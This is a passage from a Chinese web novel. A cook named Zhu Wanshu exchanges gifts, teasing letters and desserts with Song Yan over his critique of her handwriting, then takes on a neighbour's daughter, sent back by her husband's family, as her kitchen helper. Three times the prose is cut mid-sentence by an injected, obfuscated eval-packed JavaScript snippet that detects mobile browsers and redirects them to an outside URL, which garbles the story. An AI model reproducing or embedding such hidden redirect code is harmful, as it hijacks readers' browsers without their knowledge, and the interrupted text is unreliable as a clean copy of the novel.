宋衍看着朱绾纾的模样，无声的笑了，一旁的三人，也跟着笑了起来。 看着他们的表情，朱绾纾突然意识到自己刚才的话，太过暧昧了些。 她将酒杯放回宋衍面前，脸颊泛起微红，小声嘀咕了一句， “想喝便喝罢，我担心你，主要是..毕竟你也是食肆掌柜。” 宋衍看着她通红的脸颊，轻“嗯”了一声。 就这一个字，让朱绾纾的耳朵燥热得很。 饭后，沈清安拽着酒醉的朱仲谦回屋歇息，夏禾也识趣的回房间。 堂屋里只剩下两人。此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297568|198608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时，或许是百姓此刻都吃完了年夜饭，院外又开始一阵阵响亮的爆竹声。 “想不想放爆竹？”宋衍突然转头看她。 朱绾纾想了想，今夜自己要守岁，放放爆竹，打发时间也不错，只不过... “现在还有卖的吗？” 宋衍走在前面，两人来到院前，就见卫安抱着一个大包袱在门口坐着,看起来可怜巴巴的。 朱绾纾惊讶的问到，“卫安？你抱着什么？” 宋衍抢先回答，“爆竹，卫安就喜欢这些玩意儿。” 卫安一听，赶忙起身，将怀里的包袱打开，献宝似的一一介绍着自己买的各种爆竹。 “对，属下想着，毕竟除夕嘛，总归是要放爆竹的，就去市集上买了些。” 其实刚才卫安办的事儿，就是去买这些爆竹，跑遍半个汴京城买来的。毕竟自家主子交代了，买不来，不仅没赏钱，连明年的月钱还得扣一半。 卫安麻利的将爆竹摆好，宋衍接过火筴，将爆竹点燃， “呲~啪” 竹节受热爆裂，从里面迸出细碎的小火星，而后发出剧烈的响声，吓得朱绾纾本能的缩了缩脖子。 宋衍看到了朱绾纾的反应，没有说话，只是一只手揽住她的肩膀。待人完全在自己怀里时，宋衍两只手毫无预兆的覆上了她的双耳。 朱绾纾猛地呼吸一滞，爆竹声被他的掌心隔绝成了一阵阵闷响。朱绾纾下意识的扭头想要看宋衍，却被两只手控制着仰起头。 刹那间，天空炸开一个烟花，虽然图案很是简单，但却让朱绾纾心跳加速。 “你害怕？” 宋衍低沉的声音在耳边响起，两人离得太近了些，以至于自己的耳朵都能感受到他说话的气息。 朱绾纾有些慌张，她伸手将宋衍拉开，转身看向他。 两人无言，在爆竹声中对视了良久。 目光注意到宋衍微微收紧的双手，朱绾纾嘴唇轻启， “我自然是不怕的，宋郎君如此紧张，可是怕了？” 看着二人的你来我往，一旁的卫安看得激动不已，随手将一个卖家说震响似雷电的爆竹点燃。 爆竹声响起，捂着耳朵仰头，店家果然诚不欺我啊。 一旁的朱绾纾更是被突然的震响声吓得向前迈了几步，宋衍伸手拍了几下她的后背，轻声笑道， “嗯，我是被你吓到的。” 朱绾纾瞬间炸毛，追着宋衍跑了好几圈。 待宋衍回到世子府时，天已经微微有些亮光。 “主子，您回来了。” 管家拿起桌上的红木食盒迎了上去。 “这里面是？” “这是昨晚一个小丫鬟送来的，说是‘且慢食肆’掌柜的送的。” 且慢食肆掌柜？宋衍将食盒打开，最上面放着一张纸，打开后，便是熟悉的一行歪歪扭扭的字， “宫宴定不合胃口，除夕便要吃好的，岁除平安，朱绾纾。” 宋衍轻轻摩挲着这张纸，原来，在这汴京城里，是有人真心实意想让自己吃好的。 “主子，这餐食凉了，可是要...” “热了之后端过来。” “是。” 宋衍将纸张折好，眼底流出一丝温柔，便走到书桌前，挑出几张平日自己练得比较好的字递给卫安， “卫安，拿着这些，再去库房里把那对琥珀盏找出来，给朱小娘子送去，就说...掌柜的字太丑了，照着我的字好好临摹，练成了，可抵今年部分利钱。” 卫安听了这话，五官恨不得都挤成了一团，他不解的挠头。主子这，钱，到底是缺还是不缺啊。 10. 琥珀凝脂 清晨，汴河边上又是一阵阵的爆竹声。 熬了一整晚的朱绾纾打算用完朝食补一觉，却没发现，自己坐在灶房边上竟发呆了好一会儿。 也不知道为什么，脑子里全是昨夜和宋衍一起放爆竹的场景。 长那么大，第一次和一个异性贴那么近！他一个古代人，怎么比自己还放得开？ “朱小娘子在吗？” 卫安的声音在院内响起，朱绾纾轻拍了几下脸颊，起身走出灶房。 “卫安？你怎么...又来了？” 卫安不好意思地笑了笑，从包袱里拿出一个暗红色的木匣子递了过去， “朱小娘子，过年好。我家郎君说，岁除夜多亏了你才能吃得合胃口，就让我送些回礼，免得被某人说铁公鸡。” 朱绾纾无语，送礼就送礼，还那么多废话。 她接过匣子，拿起来是沉甸甸的。待打开一瞧，一对流光溢彩的琥珀盏静静地平躺在蜀锦衬布上。 这琉璃盏色泽绝非寻常之物，特别是在晨光的映照下，还能看得出杯中的天然纹理。 在这个时代，琥珀应该是较为珍惜的物件吧，更何况是这种，自己一个外行人都能看得出来，这东西价值不菲。 “这太贵重了，恐怕我不能收。” 朱绾纾将盖子合上，虽嘴上这么说，但物品却没送出去半分。 “郎君说了，这盏在府里，它就是待在库房的物件而已。送给您，说不定能有些用处。对了，” 说着，卫安将身后一个长长的纸筒拿了下来， “这也是郎君让我给您的。” 朱绾纾突然有些心虚，这一顿饭换了人家这么贵重的礼物，自己可要怎么回礼？ 她将纸筒打开，从里面拿出厚厚的一卷宣纸，她小心翼翼地将那一卷纸打开，原本脸上隐藏不住的笑意，在看清内容后瞬间僵住。 这人什么意思？宋衍的字很好看朱绾纾是承认的，要不然，“且慢食肆”的牌匾也不会让他写。 只是，也不必这般自恋吧，送自己一卷他的墨宝？是什么意思呢？让她挂家里？怎么看都有些嘲讽的意思。 卫安也有些尴尬的挠了挠头，“郎君还说，哎，算了，您还是自己看吧。” 说着，从衣袖中将一个信封递给朱绾纾。 “字若其人，将来，朱小娘子厨艺定会名满汴京，但这字迹却不如稚童随笔，实乃震撼至极。望以后好好临摹，若有进步，可减利钱，莫要懈怠。宋衍” 朱绾纾看完这行字，她深深地吸了口气，缓缓吐出。握着信纸的手又紧了几分，纸边都被捏起了褶皱。 这男人！昨天一副温润如玉的样子，今天又是这般刻薄！看来，就是自己想多了！她没好气的将这些字卷起来，放回纸筒。 “卫安，转告你家郎君，这盏我收下了，也会好好使用。这字，如果他老人家看不惯，以后这食肆里需要写字书记的地方，就劳烦他了。” 说完，便拿着东西转身朝卧房走去。 卫安抿着嘴唇尴尬的应答，“定原话转达。”说完，便一溜烟的跑了。 回到房间，朱绾纾将匣子轻轻放在桌子上，又将纸筒随意往桌子上一丢。 沈清安听到了动静，便推门进来， “绾绾，刚才是宋郎君身旁的人来了吗？” 朱绾纾将装着琥珀盏的匣子朝母亲身边推了一下， “嗯，娘，你看，这是他送的。” 沈清安看着这礼物，一下来了精神， “乖乖，这是琥珀盏？宋郎君竟对你如此大方？” 朱绾纾轻笑一声，“嗯，对我也如此刻薄。” 说完，将那封信纸重重的拍到桌子上。沈清安低头看了一眼，轻咳了一声， “绾绾，这也怪爹和娘，整日只知道忙生意，都没有好好教你，宋郎君的字确实不错，学习一下也是蛮好的。” 朱绾纾噌的一下从凳子上站了起来，“娘！我写的字也不错，真的！只是这毛笔，软塌塌的，实在用不惯。” 沈清安自是认为女儿受到打击后的撒娇，便安慰着，“不过也没关系，咱们绾绾厨艺好，有自己的经营之道，还这么漂亮，有点不擅长之处也没什么。” 朱绾纾听了母亲的安慰，更是气急。好啊，他不是说有进步可以减他年底分红嘛，这么好的赚钱机会，当然不能错过。 她转身来到院子里，毛笔用不惯，她就自己造一个用得惯的。 朱绾纾在角落那一堆竹子里，翻找出一节大小适中的竹子，截成掌心长短。 又从炭盆里捡出几块质地坚硬的柳木碳，她拿着一把小刀，慢慢的削，直到成为一根细细的碳芯。 “绾绾，你在这折腾什么呢，明日食肆就要开市了，你不趁着今日好好休息。”沈清安坐在旁边关注着。 “赚钱呢。” 朱绾纾头也不回，她小心翼翼地将竹管中心掏空，再把碳芯塞进去，最后再将松脂倒入将其封固。 一支类似于铅笔的碳芯硬笔就完成了。朱绾纾开心的拿着那只笔跑回卧室，随便拿出一张纸在上边随意画几笔。能用！ “哼，宋衍，年底的四分利我看你只能拿三分喽。” 朱绾纾嘴里不时的哼着小曲儿，手中的笔不停地纸上写字。 几行字写完，她满意的点点头。可是，只送信会有些小气了，配些什么呢？ 朱绾纾的目光落在一旁的琥珀盏上，脑中突然有了一个想法。 她拿着一只杯盏来到灶房，将架子上的碗拿下来，里面盛的是她昨日下午准备的东西。 这是她准备做的新菜品，“凝脂雪蛤羹”。 是用香蜜与新鲜的牛乳混合在一起，加入一小勺老酒母。这一坛子老酒母，可是她花大价钱寻来的。 经过一夜的发酵，这碗里的牛乳如豆腐般嫩滑。又把提前煮好的雪蛤和红枣切片。 将牛乳酒酿过滤后铺在杯盏底，再将雪蛤和红枣放在上面，最后把一枚去了核的核桃放在上面。 朱绾纾将甜点拿起来，自己欣赏一番。换了容器之后，果然更高级一些。 “夏禾~” 朱绾纾对着门外唤了一声，她将这份甜点放入食盒，又小跑回卧房，把写好的信放在旁边。 “姑娘，这是要送哪里？” “把这个送去世子府，记得，要等他吃完，然后把这只琥珀盏给我带回来，知道了吗？” “嗯” 夏禾重重的点了点头。 朱绾纾看着夏禾离开的背影，脸上露出一丝狡黠的笑容。 甜点送到世子府的时候，宋衍正神清气爽的翻看着书籍，尤其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297569|198608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是想到朱绾纾在看到那封信炸毛的样子，嘴角就不自觉的微微上扬。 管家领着夏禾走了进来，本想着在府门前等着就行，没曾想，世子爷竟让她也跟着进去了。 一路上，夏禾大气都不敢多喘一口。 看到宋衍时，夏禾赶忙跪下行礼。 宋衍的目光停在她手里的食盒上， “免礼，这食盒里，可是你家姑娘亲手做的？” “回世子，里面是我家姑娘费了好大功夫才做好的一道甜品，让世子尝尝。” 宋衍眉间轻挑，卫安很有眼色的将食盒拿起放在桌子上。 盖子打开的瞬间，宋衍便注意到了那个琥珀盏，没想到这么快便能用上了。 “这是何物？” 夏禾低着头，“回世子，我家姑娘说，这叫琥珀凝脂”。姑娘说，这羹有滋阴润燥，平心静气之效果。若...若是...” 夏禾语气微顿，虽然说是传话，但这话，她是真不敢说啊。 “直说无妨。” 听到宋衍的话，夏禾心一横，脱口说出朱绾纾的原话，“姑娘说，若世子火气大，喜对旁人指手画脚，喝这个对症的。” 话音刚落，一旁的管家愣住，不敢吭声。卫安则努力的忍住，让自己尽量不要笑出声，但他的双肩已经开始微微地颤抖。 宋衍并未动怒，反而低头轻笑一声。 他看到杯盏抵押压着的一张纸，将信纸拿起，在看到上面的字体时，呆愣住了。 “这字...是你家姑娘写的？” 夏禾点头，“是的。是我家姑娘亲手写的。” 这字和她昨晚写的完全不一样，虽然有些潦草，但笔画之间很是流畅，字迹中透着一股子肆意张狂。 “字若其人，宋郎君所言极是。不知今日，我的字可有长进？既然宋郎君允诺，那原本年底属于您的四分红利，我便做主减去一成。另，还请宋郎君吃得快些，这只琥珀盏还需夏禾带回。朱绾纾” “我只说减利，可没说减一分。” 宋衍笑着将信放在桌子上，拿起银勺舀了一口放入口中。 醇香清甜中，还带着一种发酵后的胃酸，不得不说，是有些开胃的。 待他将盏中的甜品吃完时，吩咐下人清洗一番后才交给夏禾。 “主子，这盏怎么又还回去了？”一旁的卫安不解。 “这盏若是留在我这过夜，她怕是今夜又是无眠了。” 说着，宋衍笑了起来，他将信夹在一个书籍中， “回去转告你家姑娘，这甜点很好吃，这盏也是她的。字虽不是毛笔，但也算有长进，只是这关于年底红利，待见面聊。” 夏禾将杯盏轻放入食盒，向宋衍福礼应答，“是，定如实转达。” 自从夏禾从家里出发后，朱绾纾便隔一会儿便到院门口处看看。 “姑娘，” 夏禾气喘吁吁的小跑回来，朱绾纾结果食盒，打开，看到杯盏还在，她笑了笑。 “怎么样？” 夏禾不停地描述着世子府的情形，朱绾纾都不太感兴趣，直到夏禾说 “对了，世子让我传话给姑娘。” “什么？” 听了夏禾转述的话，朱绾纾冷哼一声， “哼，见面聊就见面聊，我怕你？” 11. 酒酿冰粉 正月初二，迎婿日。 按照汴京的习俗，今日便是出嫁女儿回娘家的日子。 朱绾纾坐在食肆门口，看着来来往往的人，不少郎君手里都拎着一两个包装精美的盒子。 看起来倒是其乐融融的样子，只是，人群中，一个穿着青布袄子的小娘子，怀里抱着个破旧的包袱，两眼通红的从门前经过。 朱绾纾视线跟着她，最后见她直接进了隔壁。周围铺面的掌柜看到此景，好奇的直接走到了门口，朝里面张望。 不一会儿，赵大娘家的面馆门口，就围了一圈看热闹的人，他们指指点点的议论声，传到了朱绾纾耳朵里。 “你刚才看到嘛，赵家的琴娘子哭着回来的。” “是啊，她这成亲三年了，还没给家里生个一男半女的，估摸着是被婆家赶出去了吧。” “啧啧，那家人也是绝，偏偏选在今天这个日子呦。” 朱绾纾皱起眉头，这都什么风气，没生个一男半女的怎么就断定是赵家娘子的问题。 赵大娘每次提到自己女儿赵琴，都是骄傲说她温婉又勤快，接着又转为一声叹息。如今可算明白，这叹息是为何了。 赵大娘一边抹泪，一边走到门口，想让看热闹的邻居都散了去。 “去去去！你们都围在我铺子门口作甚？自己的铺子不管了？怎么，我家闺女回娘家住几日不成吗？” “住几日？我看这背着包袱，怕是以后都要住下了吧。” 隔壁面铺的王掌柜嘲讽了一句，他家生意一直不如赵大娘，今天可算逮着机会“报仇”了。 这句话，让看热闹的人群中，响起了三三两两的笑声。只是屋里的琴娘子，哭得更痛了。 朱绾纾实在看不下去，她起身走到隔壁， “怎么着？你们围在这里，是要买赵大娘家的面啊，还是来我家食肆吃饭啊?” 眼睛冷冷的看向王掌柜， “我算是明白了，一样的餐食，怎么就一个无人问津，一个客满为患。原来不是食物的差距，是做食物的人，人品的差距！” “你说谁呢？” “谁觉得自己人品有问题，就是说的谁。” 王掌柜见朱绾纾这架势，虽然心里憋屈，但又不敢得罪，只好冷哼一声后，拂袖离去。其他人见此情形，也只好纷纷离去。 朱绾纾看到了赵大娘看向自己时感激的眼神，便微勾起嘴角，让她不必在意。 不管在什么时代，和离后的女子总会被人指指点点，更别说是封建的古代。 午后，且慢食肆忙过了第一波朝食，朱绾纾来到厨下，将坛子里发酵好的酒酿舀了几大勺放进新的小陶罐里。 “娘，我给赵大娘家送过去。” 沈清安自是明白女儿的用意，便又递给她一小篮子鸡蛋。 “去吧，哎，琴娘子也是个可怜的，前几天还听赵大娘说，那夫家混的很，这分开了，也算时间好事吧。” 朱绾纾再一次被母亲的言语给震撼到了，转而为自己而感到庆幸。 赵大娘铺子门口挂上了休市的牌子，朱绾纾绕了一圈来到后院。 院子里一片寂静，知听得到里面传来的啜泣声。 “赵大娘？” 屋内的房门打开，看到是朱绾纾后，赵大娘快步走到院门口，将门打开。 “呦，是朱小娘子啊，快进屋罢。” 朱绾纾走到屋内，将带来的东西放在桌上，接过琴娘子递来的茶喝了一小口。 “朱小娘子这是...” “这是我们铺子新酿的酒酿，给你们带来尝尝，这鸡蛋是我娘让我带来的。” 朱绾纾看着眼睛红肿的两人，把自己心里的想法说了出来。 “赵大娘，不知亲娘这次来了，还回去吗？” 赵大娘闻言，嘴唇开始微微颤抖，朱绾纾看她表情，已经知道结果了。 “是这样，我的铺子里啊，最近正缺人手，您不是总说琴娘子手脚麻利还很聪明嘛，不知舍不舍得放琴娘子，来做我的帮厨？” 赵大娘愣住，一旁从开始就低着头的亲娘子，也满眼震惊的抬起头。 朱绾纾之所有有这个想法，一来铺子确实人手不够。 二来，虽然赵大娘家也有铺子，但如若赵琴果真被休了，她在自家帮工，定少不了指指点点。 自己在屋子里整日闷着，搞不好会生出更大的毛病来。干脆来自己铺子里，帮她一把，也算是帮自己解决招伙计的麻烦了。 “朱小娘子，你当真愿意？你不怕亲娘这名声，会冲了你店铺的财气？” “赵大娘，这财气啊，是靠我的厨艺和头脑挣来的，不靠旁人。”朱绾纾侧头看向亲娘， “再说了，琴娘子名声怎么了，她又没做什么偷鸡摸狗，伤天害理之事。” 朱绾纾的一番话，让两人感动不以，赵大娘硬要留她在家吃饭，朱绾纾以食肆生意为由拒绝了。 “琴娘子，要不要跟我去食肆看看，趁着不忙，我教你做个甜点？” 语气是轻柔的询问，她希望琴娘子能走出去，不必在意世俗的眼光。 琴娘子低下头，她现在恨不得找个地洞钻进去，怎么还敢出去？大过年的被夫家休弃，这简直是不给她活路的。 朱绾纾看着她，突然伸手拉住她， “你若觉得自己命苦，便留在这屋子里继续哭，不过，眼睛哭瞎了也没人会心疼你。若你觉得不甘心，就来跟着我学手艺，靠自己挣来的体面，才最为长久。” 琴娘子将这些话的字字句句都听到了心里去，她起身，向朱绾纾福了一礼， “朱小娘子，听了你这一番话，才觉是我狭隘了，明日我便去食肆跟着你好好学。” 赵大娘忍不住流泪，她一人把女儿拉扯大，如今发生了这事，真怕女儿再想不开。幸好有朱小娘子，她感激的想跪下给朱绾纾磕头，被她一把拉住。 “赵大娘，我是晚辈，受不起。再说了，还得谢谢琴娘子，她愿意来，我便省事了许多。” 两人拉着手走到食肆，琴娘子虽没有抬头，但她感受得到周围人的目光，她的手微微颤抖。 “琴娘子，”朱绾纾故意提高了声音，“这日后啊，你就是且慢食肆的人了，谁若是嘴碎欺负你，你便回了去，有掌柜的替你撑腰！” 说罢，便没有理会周遭人群的反应，直接走了进去。 二人来到厨下，此时铺子里的伙计都在休息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297570|198608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，只剩林三娘在案前给腌渍好的樱桃去核。 “三娘，这是琴娘子，以后是咱们这里的帮厨。” 两人互相福了礼，林三娘也听闻了她今日遭遇，满眼透着心疼，她放下手上的活，安慰道， “琴娘子，人啊，没有过不去的坎，你看我，和离后，过得更好了。” 赵琴惊讶于林三娘的耿直，寻常人，哪会把自己和离之事挂在嘴边，不过她还是感受到善意，便努力的扬起嘴角。 朱绾纾拉着赵琴站在灶台，面前摆着一盆清亮透明的固体。 “你看，这叫石花冻。” 她一边演示一眼给琴娘讲，朱绾纾拿起纱布，将一旁的石花籽包住。 放进晾凉的熟水中反复揉搓，待浆液流出后，再加入微量的石灰水来点化。 “好了！”朱绾纾拿布擦了擦手，“这样再放上半个时辰，水便凝成了晶莹剔透，口感爽滑的冻子。琴娘子，要不要来试试？” 琴娘子学着朱绾纾刚才的样子，一步步的操作着，手法虽然青涩了些，但很是认真。 朱绾纾瞟了她一眼，笑着开始准备配料。 先前做好的冻子舀一勺放在白瓷碗中，又铺上了一层酒酿。 捏了一小撮先前碾碎的花生碎洒了上去。 又拿起几粒桂花放上去，最后淋上了一勺甜蜜。 琴娘子的冻子也做好了，接下来等着就好。朱绾纾拿起做好的酒酿冰粉，把勺子递给她。 “来，尝尝。” 琴娘子有些受宠若惊，朱绾纾直接舀了一勺送到她嘴边。 待冰粉划入喉咙的瞬间，琴娘子嘴角微微上扬。 “好吃吗？” 赵琴点头，眼睛里再次湿润，“很甜，很好吃。” 朱绾纾闻言拍拍她的肩膀，“那就好，你把剩下的都吃了。以后，这道吃食，就是我们食肆‘下午茶’的新品。这道吃食，就由你来做。” 对于‘下午茶’，朱绾纾也是前几日才琢磨出来。她这间食肆也才开张没几日，生意是很红火，但只是在固定的饭点。 这闲着也是闲着，多研发些新花样，这银子也就多一些，谁和钱有仇。 夏禾来到厨下就看到自己姑娘旁边站着的琴娘子，她瞬间有了危机意识，赶忙将朱绾纾手里的食盒接过。 “姑娘，这么重的东西，还是夏禾来帮您拿吧。” “夏禾，你来的正好，把这些送到宋郎君府上，就说，食肆的下午茶‘套餐’，请宋掌柜尝尝。” “是，姑娘。” 几日后。 且慢午后，酒酿冰粉、玲珑樱桃煎、荷花酥。 牌子写好摆在门口时，吸引了路过人的目光。几为小娘子结伴走了进来， “酒酿冰粉给我们来五份，咱们尝尝。” 五个小瓷碗摆在桌上，小娘子们看到后，连连夸赞， “这不愧是且慢食肆，每道菜品都很有特色，这看起来就让人很有胃口。” “这冰冰的口感，若是到了夏季，更是解暑。” 朱绾纾坐在柜台记着账册，听着他们的对话，嘴角微扬。 这往前到了夏季，是该再做一些特别的消暑解渴的饮子来卖了。